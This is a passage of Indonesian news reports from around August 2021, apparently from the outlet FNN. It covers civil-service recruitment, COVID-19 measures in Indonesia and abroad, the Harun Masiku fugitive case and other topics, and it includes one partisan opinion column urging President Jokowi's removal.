angkutan darat sebanyak 502.960 kunjungan. (mth)

Pendaftaran Penerimaan CASN-PPK 8.841 Pelamar Gagal Teregistrasi

Sumatera Selatan, FNN - Sebanyak 8.841 pelamar gagal teregistrasi dalam pendaftaran penerimaan Calon Aperatur Sipil Negara (CASN) dan Pegawai Pemerintah dengan Perjanjian Kerja (PPPK) tahun 2021. Kepala Bidang Informasi Kepegawaian Kantor BKN Regional VII Joko Warsito, di Palembang, Senin, mengatakan ribuan pelamar tersebut dinyatakan gagal, karena tidak menyelesaikan pendaftaran sampai batas pengisian formulir yang ditutup pada 26 Juli 2021 lalu. Sesuai ketentuan bagi pelamar yang tidak melanjutkan pendaftaran sampai lewat tanggal 26 Juli 2021 yang bersangkutan dianggap mengundurkan diri dari seleksi. “Mereka sudah punya akun, tapi tidak melengkapi persyaratan sampai tanggal tersebut, jadi gugurlah mereka,” ujarnya pula. Menurutnya, sejak pendaftaran CASN dan PPPK 2021 dibuka BKN Regional VII mencatat jumlah keseluruhan pelamar ada sebanyak 166.997 orang untuk wilayah Sumatera Selatan, Bangka Belitung, dan Bengkulu. Tapi setelah 8.841 orang pelamar dinyatakan gugur dari seleksi penerimaan CASN dan PPPK 2021, setidaknya masih ada 158.156 pelamar yang akan berpeluang menjadi ASN atau PPPK. “Tinggal mengikuti seleksi administrasi setelah itu dapat nomor peserta dan mulai mengikuti tes pertama, yakni Seleksi Kompetensi Dasar (SKD) dan selanjutnya Seleksi Kompetensi Bidang (SKB) dan terakhir pengumuman kelulusan,” ujarnya pula. Adapun jumlah formasi CPNS dan PPPK yang dibuka tahun 2021 di Sumatera Bagian Selatan ada sebanyak 35.911 formasi yang terdiri dari Sumatera Selatan 28.826 formasi, Bengkulu 3.800 dan Kepulauan Bangka Belitung 3.285 formasi. “Untuk Jambi 0 atau tidak ada pembukaan formasi,” katanya. Dari formasi tersebut ada 10 instansi yang paling banyak dilamar, yaitu Pemerintah Provinsi Sumatera Selatan 28,826 formasi, Pemerintah Kabupaten Banyuasin 10.278, Kabupaten Ogan Komering Ulu Timur (OKU) Timur 9.161, Ogan Komering Ilir (OKI) 9.075, OKU 8.698, Muara Enim 8511, Pemerintah Kota Pangkal Pinang 7.623, Pemerintah Kabupaten Bangka Tengah 7.102, Pemerintah Kabupaten Lahat 6.939, dan Pemerintah kabupaten Empat Lawang 6.7545 pelamar. Sedangkan 10 instansi yang paling sedikit pelamar adalah Pemerintah Kabupaten Bengkulu Selatan 474, Pemerintah Kabupaten Bangka 613, Pemerintah Kabupaten Seluma 766, Pemerintah Kabupaten OKU Selatan 1.228, Pemerintah Kabupaten Bangka Selatan 1267, Pemerintah Kota Pagaralam 1.817, Pemerintah kabupaten Belitung 2.138, Pemerintah Kota Prabumulih 2.138, Pemerintah Kabupaten Ogan Ilir 3.049, dan Pemerintah Provinsi Kepulauan Bangka Belitung 3.244 pelamar. “Semua akan berpeluang lulus seleksi tahun ini mudah-mudahan, tetap persiapkan diri belajar, jaga kesehatan dan bekali dengan doa ibadah,” katanya pula. (sws)

RSUD Bangka Barat Rekrut Tenaga Kesehatan Ruang Isolasi COVID-19

Mentok, Babel, FNN - Rumah Sakit Umum Daerah Sejiran Setason Kabupaten Bangka Barat, Provinsi Kepulauan Bangka Belitung melakukan rekrutmen 30 tenaga kesehatan untuk membantu penanganan pasien COVID-19 di ruang isolasi RS itu. "Proses rekrutmen kami perpanjang karena hingga hari ini baru mendapatkan tujuh orang yang lolos seleksi dan sanggup menjadi garda depan penanganan pasien COVID-19," kata Pelaksana Tugas Direktur RSUD Sejiran Setason Kabupaten Bangka Barat dr. Rudi Faizul Badri di Mentok, Senin. Ia menjelaskan proses rekrutmen pegawai atau tenaga kesehatan dilakukan RSUD Sejiran Setason seiring dengan adanya penambahan jumlah kamar isolasi untuk penanganan pasien COVID-19 dari kapasitas 15 menjadi 50 tempat tidur. "Untuk fasilitas pendukung, seperti tempat tidur, dinding penyekat, ketersediaan air dan lainnya, mulai 1 Agustus 2021 sudah siap, tinggal tenaga kesehatan yang masih kita cari," katanya. Menurut dia, proses rekrutmen tenaga kesehatan sampai saat ini masih menjadi kendala yang perlu segera ditangani bersama agar rencana operasional ruang isolasi tambahan bisa maksimal. "Minimal kita bisa dapat 20 orang sudah akan sangat membantu," ujarnya. Ia mengatakan proses rekrutmen tidak serta merta nantinya para tenaga kesehatan yang baru itu akan langsung melakukan penanganan di ruang isolasi, namun akan diberikan pelatihan terlebih dahulu. "Bagi para calon tenaga kesehatan nantinya akan diberikan pelatihan khusus di Wisma Karantina terlebih dahulu sebelum menjalankan tugas di ruang isolasi," katanya. Pola bertahap dalam menjalankan pekerjaan yang sudah disiapkan tersebut sebagai upaya pemerintah daerah untuk memberikan perlindungan bagi seluruh tenaga kesehatan yang ada di daerah itu. "Kesehatan tetap menjadi hal utama, jadi para garda depan ini akan belajar dahulu secara bertahap," katanya. (sws)

Fadjroel: Kritik adalah Jantung Kemajuan Demokrasi

Jakarta, FNN - Staf Khusus Presiden Bidang Komunikasi Fadjroel Rachman mengatakan kritik adalah jantung kemajuan demokrasi, ilmu pengetahuan, dan teknologi serta masyarakat. Hal itu disampaikan Fadjroel menyikapi pertanyaan berbagai pihak atas kritik yang disampaikan kepada pemerintahan Presiden RI Joko Widodo. "Menanggapi berbagai pertanyaan media dan sejumlah pernyataan publik kami perlu menekankan kembali bahwa perjuangan reformasi 1998 adalah perjuangan untuk menegaskan bahwa kritik merupakan jantung kemajuan demokrasi, ilmu pengetahuan, dan teknologi serta masyarakat," kata Fadjroel dalam siaran pers di Jakarta, Senin. Fadjroel menegaskan bahwa bangsa Indonesia menempatkan kritik di jantung konstitusi UUD NRI Tahun 1945, khususnya pada Pasal 28, yang menyatakan bahwa kemerdekaan berserikat dan berkumpul, mengeluarkan pikiran dengan lisan dan tulisan dan sebagainya ditetapkan dengan undang-undang. Namun, dia menekankan pelaksanaan hak konstitusional setiap warga negara Indonesia menurut UUD NRI Tahun 1945 harus memperhatikan Pasal 28J. Dalam Ppasal 28J disebutkan bahwa dalam menjalankan hak dan kebebasannya, setiap orang wajib tunduk kepada pembatasan yang ditetapkan dengan undang-undang dengan maksud semata-mata untuk menjamin pengakuan serta penghormatan atas hak dan kebebasan orang lain dan untuk memenuhi tuntutan yang adil sesuai dengan pertimbangan moral, nilai-nilai agama, keamanan, dan ketertiban umum dalam suatu masyarakat demokratis. Dalam tradisi dan nilai-nilai demokrasi, kata dia, kritik merupakan upaya menciptakan dialog setara dan komunikasi timbal balik di antara aktor-aktor dalam negara demokrasi, yaitu masyarakat sipil, aktor nonnegara, seperti media, ormas, lembaga kemahasiswaan, dan LSM, masyarakat politik, masyarakat ekonomi, birokrasi/pemerintah, dan aparatus hukum. "Cara kerja kritik adalah berusaha membentuk hubungan setara antaraktor berdasar komunikasi timbal balik atau komunikasi intersubjektif yang berimplikasi pada penemuan kebaikan bersama atau common objective. Praktik kritik yang mengikuti kaidah iptek dan demokrasi, tidak akan menggunakan kekerasan komunikasi seperti stigma, fitnah, hinaan, dan perundungan," katanya. Menurut dia, kekerasan komunikasi akan menghalangi proses terbentuknya komunikasi timbal balik dan setara. Sebaliknya, akan mendorong terbentuknya lingkaran kekerasan (spiral of violence), yaitu kondisi yang ditandai oleh praktik yang hanya bertujuan menjatuhkan dan menghancurkan satu sama lain (zero sum game). Pada saat bersamaan, kata Fadjroel, demokrasi Indonesia merupakan pertemuan antara beragam nilai-nilai global dan nilai-nilai keindonesiaan. Setiap praktik kebebasan kritik perlu melandaskan pada tatanan nilai sosial keindonesiaan yang ditopang nilai saling menghormati, kesantunan, tata krama, toleransi dan kegotongroyongan. "Presiden mengatakan bahwa negara kita negara demokrasi, jadi kritik itu boleh-boleh saja. Tapi juga ingat kita ini memiliki budaya tata krama, memiliki budaya kesopansantunan," kata Fadjroel. Fadjroel mengemukakan bahwa Presiden Joko Widodo selama ini telah memberikan keteladanan dalam upaya membangun komunikasi timbal balik dalam negara demokrasi Indonesia dengan narasi kebebasan dalam tatanan nilai sosial keindonesiaan. Oleh karena itu, Presiden menjauhi praktik stigma, perundungan, fitnah, dan antitoleransi. "Aktor-aktor negara demokrasi yang mempraktikkan kebebasan kritik dalam narasi nilai sosial keindonesiaan akan menciptakan komunikasi timbal balik, yaitu kondisi yang lebih memungkinkan lahirnya berbagai pemecahan masalah kolektif bangsa untuk menyejahterakan dan mencerdaskan kehidupan bangsa," ujarnya. Ia memandang perlu seluruh aktor negara demokrasi meneladani praktik kebebasan demokrasi yang berbasis pada tatanan nilai sosial keindonesiaan yang dicontohkan oleh Presiden Joko Widodo dan menjadi tradisi dalam kebudayaan Indonesia dan tradisi berpikir kritis (critical thinking) dalam kemajuan iptek. "Panjang umur perjuangan demokrasi Pancasila. Dalam 76 tahun kemerdekaan, kita yakin Indonesia Tangguh, Indonesia Tumbuh. Kita yakin Indonesia Maju," kata Fadjroel. (sws)

Kapolda Papua Benarkan Adanya Pembakaran Polsek Nimboran

Jayapura, FNN - Kepala Kepolisian Daerah Papua, Irjen Pol Mathius Fakhiri membenarkan adanya informasi mengenai adanya aksi pembakaran Polsek Nimboran yang diduga dilakukan oleh sekelompok orang atau massa. "Memang benar ada laporan pembakaran Polsek Nimboran, tetapi belum diketahui apa penyebabnya," kata Kapolda Mathius Fakhiri kepada ANTARA di Jayapura, Senin. Peristiwa pembakaran tersebut terjadi pada hari ini sekitar pukul 13.45 WIT. Polsek Nimboran berada di Kabupaten Jayapura. (sws)

Korut Peringatkan Korsel Soal Latihan Militer dengan AS

Seoul, FNN - Saudara perempuan Pemimpin Korea Utara Kim Jong Un, Kim Yo Jong, pada Minggu (1/8) mengatakan bahwa jika Korea Selatan menggelar rencana latihan militer gabungan dengan Amerika Serikat, hal itu akan menghancurkan tekad kedua Korea untuk membangun kembali hubungan. Pernyataan itu dilaporkan melalui media pemerintah KCNA. Kim Yo Jong juga mengatakan bahwa keputusan baru-baru ini untuk menyambungkan kembali hotline antar kedua Korea tidak patut dilihat sebagai hal yang lebih dari menjalin kembali hubungan "fisik". Menurutnya, bahwa akan "tidak bijaksana" untuk menganggap bahwa KTT hampir dekat. Pernyataannya muncul ketika Korea Utara dan Selatan terlibat pembicaraan untuk mengadakan KTT sebagai bagian dari upaya pemulihan hubungan keduanya. Washington dan Seoul rencananya akan menggelar latihan militer bersama pada akhir Agustus. "Pemerintah dan militer kami akan terus memantau apakah pihak Korea Selatan akan melanjutkan latihan perang agresif, atau membuat keputusan besar. Harapan atau hilang harapan? Itu terserah kami," kata Kim Yo Jong melalui pernyataan yang dilaporkan KCNA. Dua Korea, yang secara teknis masih berperang setelah konflik 1950-1953 berakhir dengan gencatan senjata, pada Selasa kembali menghubungkan hotline yang diputus oleh Korut pada Juni tahun lalu. (sws) Sumber: Reuters

Wapres Dukung Program Jaga Kiai untuk Beri Penghargaan Bagi Ulama

Jakarta, FNN - Wakil Presiden Ma’ruf Amin mendukung program Jaga Kiai sebagai salah satu bentuk penghargaan kepada para ulama dan pengasuh pondok pesantren di Indonesia, dengan memelihara kesehatan mereka di tengah pandemi COVID-19. "Ini salah satu bentuk penghargaan negara atau pemerintah dalam menjaga dan memelihara kesehatan para kiai dan pengasuh pesantren yang telah berjasa bagi masyarakat, bangsa dan negara," kata Wapres saat meresmikan Jaga Kiai secara virtual, Senin. Musibah pandemi COVID-19 harus disikapi secara tepat dan tepat, sehingga seluruh pihak harus mengambil peran dalam ikhtiar pencegahan dan penanggulangan COVID-19, kata Wapres. Wapres mengatakan cukup banyak ulama dan pengasuh pondok pesantren yang menjadi korban COVID-19. Hingga 7 Juli 2021, menurut data Kementerian Agama, tercatat sebanyak 605 orang yang merupakan kiai, ulama dan pengasuh pondok pesantren yang meninggal dunia akibat COVID-19. "Wafatnya para kiai dan ulama mempunyai arti sangat penting dan krusial bagi kehidupan umat. Rasulullah menegaskan bahwa ulama adalah pewaris para nabi. Oleh karenanya Rasul menegaskan wafatnya para kiai dan ulama sebagai musibah," jelasnya. Para kiai dan ulama telah melakukan transformasi ilmu dan peradaban serta mengawal para santri demi pengembangan keilmuan di lingkungan pesantren. Para kiai juga telah mengajarkan sikap patriotik, cinta tanah air dan bela negara kepada setiap warga bangsa Indonesia, kata Wapres. "Oleh karena itu, jasa dan peran besar para kiai, para ulama dan pondok pesantren terhadap perjuangan kemerdekaan dan proses pembangunan bangsa Indonesia sangat besar dan tidak bisa dihargai dengan sekadar materi," ujarnya. Dalam sambutannya, Wapres juga mengapresiasi kinerja Badan Amil Zakat Nasional (Baznas) yang menginisiasi program Jaga Kiai, dengan menyelenggarakan pelaksanaan vaksinasi COVID-19 kepada para ulama dan pengasuh pondok pesantren di sejumlah daerah. (sws)

Wakil Ketua MPR Minta Pemerintah Kaji PPKM dengan Serius

Jakarta, FNN - Wakil Ketua Majelis Permusyawaratan Rakyat (MPR) Jazilul Fawaid meminta Pemerintah mengkaji dengan serius dan berhati-hati dalam memutuskan terkait Pemberlakuan Pembatasan Kebijakan Masyarakat (PPKM) Level 4. "Memang serba sulit. Saya berharap Pemerintah mengambil keputusan yang terbaik, saksama dan terukur," kata Jazilul atau Gus Jazil dalam keterangan tertulisnya yang diterima di Jakarta, Senin. Apabila PPKM Level 4 kembali diperpanjang, lanjutnya, maka Pemerintah harus bertanggung jawab terhadap dampak kebijakan tersebut di sektor ekonomi bagi masyarakat, khususnya para pelaku usaha mikro dan kecil. "Kalau diperpanjang lagi, tentu aktivitas ekonomi warga tambah lesu. Silakan diperpanjang sekiranya Pemerintah dapat membantu sektor usaha dan kebutuhan dasar masyarakat selama PPKM," tambahnya. Dia mengatakan pelaksanaan PPKM Level 4 yang berlaku secara terus menerus dapat menunjukkan ketidakefektifan pemberlakuan kebijakan tersebut oleh Pemerintah. "Hemat saya, perpanjangan PPKM dapat menurunkan kepercayaan masyarakat karena Pemerintah dianggap kurang berhasil mengatasi keadaan," ujarnya. Pemerintah telah memberlakukan PPKM Darurat pada 3-20 Juli di Pulau Jawa dan Pulau Bali dan sejumlah daerah lain, sebagai upaya untuk menekan kasus penyebaran COVID-19. Pemerintah melanjutkan kebijakan tersebut dengan nama PPKM Level 4 pada 21 Juli-2 Agustus untuk meminimalkan laju penularan COVID-19 Data per 1 Agustus menunjukkan adanya penambahan kasus harian sebanyak 30.738 kasus baru. Angka tersebut lebih tinggi dibandingkan angka penambahan harian pada hari pertama PPKM Darurat, yakni sebanyak 27.913 kasus harian. Hingga saat ini, secara akumulatif tercatat 3.440.396 kasus positif COVID-19, dengan angka pasien sembuh harian mencapai 39.446 pasien. Total pasien sembuh dari COVID-19 sebanyak 2.809.538 orang. Sementara itu angka kematian harian juga tercatat cukup tinggi, dengan penambahan 1.604 pasien dan total korban meninggal dunia akibat COVID-19 sebanyak 95.723 orang. (sws)

India Laporkan 40.134 Kasus Baru COVID-19

Mumbai, FNN - India melaporkan 40.134 kasus baru infeksi virus corona (COVID-19) dalam 24 jam terakhir, kata pernyataan pemerintah negara itu, Senin. Kematian akibat COVID-19 di India bertambah 422 jiwa pada periode yang sama, menurut kementerian kesehatan federal. Kasus harian COVID-19 di India telah menurun setelah mengalami gelombang kedua yang dahsyat dan membuat sistem kesehatan kewalahan. Upaya vaksinasi juga semakin meningkat. Namun, para ahli telah memperingatkan pihak berwenang untuk tidak terburu-buru membuka kota-kota. Pemerintah pusat India telah menyerahkan keputusan penguncian (lockdown) dan pembukaan kembali kepada masing-masing otoritas negara bagian. Kebijakan itu membuat tanggap darurat menjadi tidak merata, yang menurut para ahli telah menyebabkan munculnya daerah-daerah berisiko baru, bahkan ketika jumlah infeksi menurun di episentrum sebelumnya. (sws) Sumber: Reuters

Brisbane Perpanjang 'Lockdown', Sydney Dijaga Tentara

Sydney, FNN - Negara bagian Queensland, Australia, pada Senin memperpanjang penguncian wilayah (lockdown) di Brisbane, sementara tentara berpatroli di Sydney untuk menegakkan aturan tinggal di rumah. Australia tengah berjuang menghentikan penyebaran varian Delta virus corona yang sangat menular. Queensland mengatakan mereka telah mendeteksi 13 kasus baru penularan lokal COVID-19 dalam 24 jam terakhir, angka harian tertinggi di negara bagian itu dalam setahun. Penguncian di Brisbane, kota terbesar ketiga di Australia, yang dijadwalkan berakhir pada Selasa, tetap akan diberlakukan sampai Minggu. "Sekarang mulai jelas bahwa lockdown awal tidak akan cukup (menahan) wabah," kata Wakil Pemimpin Queensland Steven Miles kepada wartawan di Brisbane. Kenaikan angka kasus baru di dua kota terbesar Australia itu terjadi di tengah meningkatnya kekhawatiran terhadap cara pemerintahan Perdana Menteri Scott Morrison menangani pandemi. Meskipun program vaksinasi Australia telah tertinggal dari banyak negara maju lainnya, program tersebut sejauh ini lebih baik dalam menjaga angka kasus relatif tetap rendah, yaitu hanya sedikit di bawah 34.400 kasus. Jumlah kematian di Sydney meningkat jadi 925, setelah seorang pria berusia 90-an meninggal akibat COVID-19. Australia memberlakukan penguncian secara on-off di sejumlah kota setelah kemunculan varian Delta yang cepat menular, dan pembatasan semacam itu sepertinya akan tetap diterapkan hingga cakupan vaksinasi di negara itu mencapai tingkat yang lebih tinggi. PM Morrison telah berjanji penguncian akan menjadi "kecil kemungkinannya" setelah negara itu memvaksin 70 persen penduduk berusia di atas 16 tahun. Tingkat vaksinasi di Australia saat ini baru mencapai 19 persen, dan Morrison berharap dapat mencapai target 70 persen pada akhir tahun ini. Penguncian di Brisbane dan sekitarnya diterapkan saat Sydney, kota terbesar Australia, memulai pekan keenam pemberlakuan perintah untuk tinggal di rumah. New South Wales (NSW), negara bagian tempat Sydney berada, mengatakan pada Senin mereka mendeteksi 207 kasus baru COVID-19 dalam 24 jam terakhir. Pekan lalu, jumlah harian di negara bagian itu bertahan di dekat angka tertinggi dalam 16 bulan. NSW mencatat lebih dari 3.500 kasus infeksi sejak wabah baru muncul pada Juni, ketika seorang pengemudi limusin tertular virus corona saat mengantar seorang kru maskapai asing. Negara bagian itu telah meminta bantuan militer untuk menegakkan aturan pembatasan. Sekitar 300 tentara yang tidak dilengkapi senjata dan di bawah komando kepolisian pada Senin mulai mendatangi rumah-rumah untuk memastikan warga yang terkonfirmasi positif menjalani isolasi mandiri. Tentara juga menemani polisi berpatroli di jalan-jalan Sydney di mana sebagian besar kasus COVID-19 telah dilaporkan. Potongan video yang beredar di internet memperlihatkan polisi menanyakan orang-orang yang berada di jalan-jalan sepi di Sydney tentang alasan mereka keluar rumah. (sws) Sumber: Reuters

KPK Ingatkan Ancaman Pidana Pihak yang Sembunyikan Harun Masiku

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) mengingatkan pihak-pihak yang diduga sengaja menyembunyikan mantan calon anggota legislatif (caleg) PDI Perjuangan Harun Masiku dapat diancam pidana sebagaimana ketentuan Pasal 21 Undang-Undang Pemberantasan Tindak Pidana Korupsi. "Jika ada pihak yang diduga sengaja menyembunyikan buronan, kami ingatkan dapat diancam pidana sebagaimana ketentuan Pasal 21 UU Tipikor," kata Pelaksana Tugas Juru Bicara KPK Ali Fikri dalam keterangannya, di Jakarta, Senin. Pasal tersebut mengatur mengenai orang yang sengaja mencegah, merintangi atau menggagalkan secara langsung atau tidak langsung penyidikan, penuntutan dan pemeriksaan di sidang terdakwa dalam perkara korupsi dapat dipidana paling singkat 3 tahun dan maksimal 12 tahun dan denda paling banyak Rp600 juta. Harun adalah tersangka kasus dugaan suap terkait penetapan anggota DPR RI terpilih tahun 2019-2024 yang sudah berstatus daftar pencarian orang (DPO) sejak Januari 2020. Ali mengatakan KPK masih terus berupaya menemukan Harun, baik pencarian di dalam negeri maupun kerja sama melalui National Central Bureau (NCB) Interpol. "Namun demikian, kami tentu tidak bisa menyampaikan tempat dan waktu pencarian, karena itu teknis di lapangan yang tidak bisa kami publikasikan," kata dia. Sebelumnya, NCB Interpol Indonesia telah menerbitkan "red notice" atas nama Harun Masiku. "Informasi terbaru yang kami terima bahwa pihak Interpol benar sudah menerbitkan "red notice" atas nama DPO Harun Masiku," kata Ali dalam keterangannya, di Jakarta, Jumat (30/7). Upaya pelacakan juga terus dilakukan KPK dengan menggandeng kerja sama para pihak, seperti Bareskrim Polri, Ditjen Imigrasi Kemenkumham, dan NCB Interpol. Kasus tersebut juga menjerat mantan Anggota Komisi Pemilihan Umum (KPU) Wahyu Setiawan sebagai tersangka. KPK pun telah mengeksekusi Wahyu ke Lapas Kelas I Kedungpane Semarang untuk menjalani pidana penjara selama 7 tahun. Sedangkan kader PDI Perjuangan Agustiani Tio Fridelina yang ikut menerima suap Rp600 juta dari Harun bersama-sama dengan Wahyu divonis 4 tahun penjara. Dalam perkara ini, Wahyu dan Agustiani terbukti menerima uang sebesar 19 ribu dolar Singapura dan 38.350 dolar Singapura atau seluruhnya Rp600 juta dari Harun yang saat ini masih buron. Tujuan penerimaan uang tersebut agar Wahyu dapat mengupayakan KPU menyetujui permohonan Pergantian Antarwaktu (PAW) Anggota DPR RI dari Fraksi PDIP dari Dapil Sumatera Selatan 1, yakni Riezky Aprilia kepada Harun. (sws)

Pemkab Bekasi Siapkan Vaksinasi Pelajar di Sekolah

Cikarang, Bekasi, FNN - Pemerintah Kabupaten Bekasi, Jawa Barat mulai melakukan persiapan pelaksanaan program vaksinasi COVID-19 bagi pelajar berusia 12-17 tahun yang rencananya digelar secara massal di setiap sekolah. Penjabat Bupati Bekasi Dani Ramdan di Cikarang, Senin, mengatakan pemerintah daerah saat ini sedang melakukan pendataan dan verifikasi terbaru penerima vaksin serta meminta alokasi vaksin yang akan digunakan untuk pelajar. "Vaksinasi pelajar usia remaja ini menggunakan merek Sinovac, sedang dilakukan pendataan di setiap sekolah," katanya. Dia meminta seluruh kepala sekolah berikut tenaga pendidik mendorong siswa serta orang tua murid untuk menyukseskan program ini agar kegiatan belajar tatap muka bisa segera digelar. "Ini menjadi tugas para guru untuk meyakinkan anak-anak dan terutama orang tuanya bahwa vaksin aman dan halal sehingga anaknya mau divaksin," katanya. Selain itu, Kejadian Ikutan Pasca Imunisasi (KIPI) juga harus diperhatikan dan menjadi tanggung jawab bersama jika nantinya ditemukan ada gejala usai disuntik vaksin. Dani juga mengatakan proses belajar mengajar secara daring saat ini bisa memotivasi para guru dan siswa untuk semakin menguasai teknologi yang menjadi modal untuk meraih kemajuan di masa depan. "Sekarang para guru dan murid semakin melek digital. Ini adalah modal yang sangat berharga untuk kita dalam meraih kemajuan masa depan yang lebih baik lagi. Hadapi ini dengan semangat dan motivasi tinggi," kata dia. (sws)

Segera Lengserkan Jokowi Karena Tidak Mematuhi Konstitusi

“PRESIDEN (Joko Widodo) tidak patuhi konstitusi. Kalau dia patuh, sejak awal lockdown, konsekwensinya, dia (presiden) belanjakan itu. Sebulan Rp 1 juta saja kali 70 masih Rp 70 triliun. Kali 10 bulan saja masih Rp 700 triliun. Masih di bawah membanjirnya uang yang tidak jelas ke mana larinya. Masih jauh lebih efektif itu daripada vaksin.” Kalimat tersebut disampaikan politisi PDIP, Efendi Simbolon kepada wartawan, Sabtu, 31 Juli 2021. Ia mengungkapkan kalimat tersebut dengan menyalahkan Jokowi yang tidak mau menerapkan lockdown sejak awal pandemi Covid-19. Simbolon menanggapi pernyataan pakar epidemiologi Universitas Indonesia (UI), Pandu Riono yang menyebut Indonesia sedang menuju jalur jebakan pandemi (pandemic trap) yang semakin dalam. Apa yang disampaikan Efendi Simbolon ini menarik dicermati. Sebab, ia berasal dari partai utama pendukung Jokowi. Akan tetapi, pernyataan Simbolon yang berseberangan dan mengkritik keras pemerintahan Jokowi, sudah beberapa kali dilontarkannya. Nyatanya, kritik yang disampaikannya tidak digubris oleh Jokowi. Ibarat kata pepatah, “Anjing menggonggong kafilah berlalu.” Simbolon teriak-teriak, Jokowi terus larut dengan kebijakannya yang umumnya bertentangan dengan perundang-undangan yang berlaku. Kebijakan selama pandemi ini banyak yang menyakiti rakyat. Contoh, pada saat rakyat membutuhkan bantuan (walaupun ada, tetapi tidak cukup), tetapi Jokowi tetap melanjutkan pembangunan infrastruktur. Termasuk pembangungan ibukota baru, di Kalimantan Timur. Kabarnya, peringatan 17 Agustus 2021 akan digelar dari tempat baru tersebut. Dalam hal penanganan Coronadisease 2019 (Covid-19) presiden terlihat plintat-plintut. Kebijakannya semakin menyengsarakan rakyat. Kebijakan Pemberlakuan Pembatasan Kegiatan Masyarakat atau PPKM Level 4 berakhir Senin, 2 Agustus 2021 jelas semakin menyengsarakan rakyat. Kemungkinan besar diperpanjang lagi. Andaikan sejak awal diterapkan kebijakan tegas berupa lockdown, kemungkinan tingkat kesengsaraan rakyat bisa ditekan lebih rendah. Mengapa sejak awal tidak mau lockdown? Alasan pemerintah karena ingin menyeimbangkan penanganan kesehatan dan ekonomi masyarakat. Padahal, alasan yang tepat sehingga pemerintah tidak mengambil kebijakan lockdown adalah karena tidak ada uang. Alasan yang tidak masuk akal dan tidak dapat diterima akal sehat. Nyatanya, Covid-19 gelombang kedua, justru semakin menyengsarakan rakyat dari segi kesehatan dan ekonomi. Gelombang kedua telah memaksa masyarakat melakukan isomasi mandiri (isoman) karena rumah sakit tidak mampu menampung pasien corona. Ini menyebabkan banyak yang meninggal saat isoman. Faktornya, selain karena sulitnya mendapatkan obat-obatan, juga karena tekanan ekonomi. "Pemerintah sejak awal tidak menggunakan rujukan sesuai UU Karantina itu, di mana kita harusnya masuk ke fase lockdown. Tetapi kita menggunakan terminologi PSBB sampai PPKM. Mungkin di awal mempertimbangkan dari sisi ketersediaan dukungan dana dan juga masalah ekonomi. Pada akhirnya yang terjadi kan lebih mahal ongkosnya sebenarnya, PSBB itu juga Rp 1.000 triliun lebih ya di tahun 2020 itu," ujar Effendi. Effendi mejelaskan sudah banyak negara lain yang sukses mengatasi pandemi COVID-19 dengan cara lockdown. Virus Corona itu bisa dicegah penularannya dengan cara semua orang tetap berada di rumah. Alih-alih memilih lockdown, Indonesia justru menerapkan PPKM. Effendi menyatakan hasil dari PSBB hingga PPKM hanya 'nol' dan cenderung minus. Nah, kegeraman Simbolon itu sangat wajar. Menyalahkan Jokowi yang tidak melakukan lockdown adalah tepat. Menyebutkan Jokowi tidak mematuhi konstitusi lebih sangat tepat lagi. Tidak mematuhi konstitusi sama saja dengan melanggar konstitusi. Jika politikus pendukung utama saja sudah mengatakan presiden tidak patuh pada konstitusi, lalu apa yang harus dilakukan terhadap Joko Widodo? Segera lengserkan, segera berhentikan Jokowi. Jangan lagi menunggu semakin banyak konstitusi yang dilanggar dan tidak dipatuhi. Jika terus membiarkan pelanggaran terhadap konstitusi, derita rakyat semakin dalam dan lama. Sekarang saatnya PPKM alias Pak Presiden Kau Mundur! Bukan lagi Pak Presiden Kapan Mundur. Sebab, jika tidak mundur, semakin banyak rakyat yang Perut Perih Karena (belum) Makan (PPKM). **

Gubernur Babel Terbitkan Kebijakan Kawasan Isolasi COVID-19 Terpadu

Pangkalpinang, FNN - Gubernur Kepulauan Bangka Belitung Erzaldi Rosman Dohan segera menerbitkan kebijakan kawasan isolasi COVID-19 terpadu, guna mengoptimalkan penanganan pasien terpapar virus corona jenis baru tersebut di daerah itu. "Dalam waktu dekat ini, kebijakan ini diberlakukan sehingga tidak ada lagi pasien COVID-19 melakukan isolasi mandiri," kata Erzaldi Rosman Djohan di Pangkalpinang, Senin. Ia mengatakan kebijakan pembangunan kawasan isolasi terpadu ini sebagai lanjutan terhadap evaluasi pelaksanaan Pemberlakuan Pembatasan Kegiatan Masyarakat level 4 dan 3 bersama Menko Perekonomian Airlangga Hartarto beberapa hari lalu, dalam menekan lonjakan kasus COVID-19. Selain itu, kesadaran dan pengawasan pasien COVID-19 yang melakukan isolasi mandiri yang rendah, sehingga menjadi pemicu peningkatan kasus penularan COVID-19 dalam sebulan terakhir ini. "Jadi tidak ada lagi istilahnya isolasi mandiri dan pemprov saat ini sedang mempersiapkan 350 kamar untuk pasien COVID-19 di kawasan isolasi terpadu," katanya. Menurut dia, kebijakan ini dampak dan melihat serta mengevaluasi PPKM level 4 di Kabupaten Bangka Barat, Belitung, dan Belitung Timur serta PPKM level 3 di Kota Pangkalpinang, Kabupaten Bangka, Bangka Tengah, dan Bangka Selatan. "Insyaallah nanti kita akan rapat bersama satgas kabupaten/kota terkait kebijakan tambahan untuk memperkuat kebijakan isolasi terpadu ini," ujarnya. Ia memerintahkan pemerintah kabupaten/kota untuk juga menyiapkan isolasi terpadu di wilayahnya masing-masing, sehingga penanganan dan menekan kasus COVID-9 akan lebih optimal. "Dengan isoter (isolasi terpadu) ini akan memperbanyak 'tracing' (pelacakan) dan "testing" (pengetesan). Kita juga akan minta kabupaten/kota menyiapkan itu. Terkait konsumsi pasien menggunakan dapur umum," katanya. Ia meminta masyarakat tetap mematuhi protokol kesehatan 5M (mencuci tangan, memakai masker, menjaga jarak, menjauhi kerumunan, dan mengurangi mobilitas serta interaksi) dalam menjalani aktivitas sehari-hari. "Kita ingin memberikan edukasi kepada masyarakat agar mereka tetap waspada. Jangan merasa diri sehat, padahal mereka orang yang terpapar. Bagi mereka tidak apa-apa, tapi bagi yang imunitasnya lemah akan jadi bahaya. Kalau sampai positif mereka akan diisolasi terpadu," katanya. (sws)

Anggota DPR: Nilai Inti ASN Harus Disikapi Perubahan Pola Pikir

